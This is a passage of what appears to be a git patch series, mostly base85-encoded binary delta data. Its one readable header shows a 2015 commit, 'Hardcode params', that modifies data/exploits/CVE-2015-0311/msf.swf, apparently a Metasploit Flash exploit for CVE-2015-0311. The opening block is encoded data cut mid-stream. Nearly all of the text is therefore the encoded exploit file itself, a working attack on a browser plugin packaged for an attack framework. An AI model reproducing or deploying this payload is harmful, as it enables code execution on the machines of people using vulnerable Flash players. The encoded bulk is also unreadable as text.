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 Date: Tue, 26 May 2015 14:20:43 -0500 Subject: [PATCH 24/55] Hardcode params --- data/exploits/CVE-2015-0311/msf.swf | Bin 20391 -> 20417 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/data/exploits/CVE-2015-0311/msf.swf b/data/exploits/CVE-2015-0311/msf.swf index 1859166717e68a7ee652eeac54c667c7de9f34f5..2af1bcae87d26c5512e73c560154364dfa41162f 100644 GIT binary patch delta 20294 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 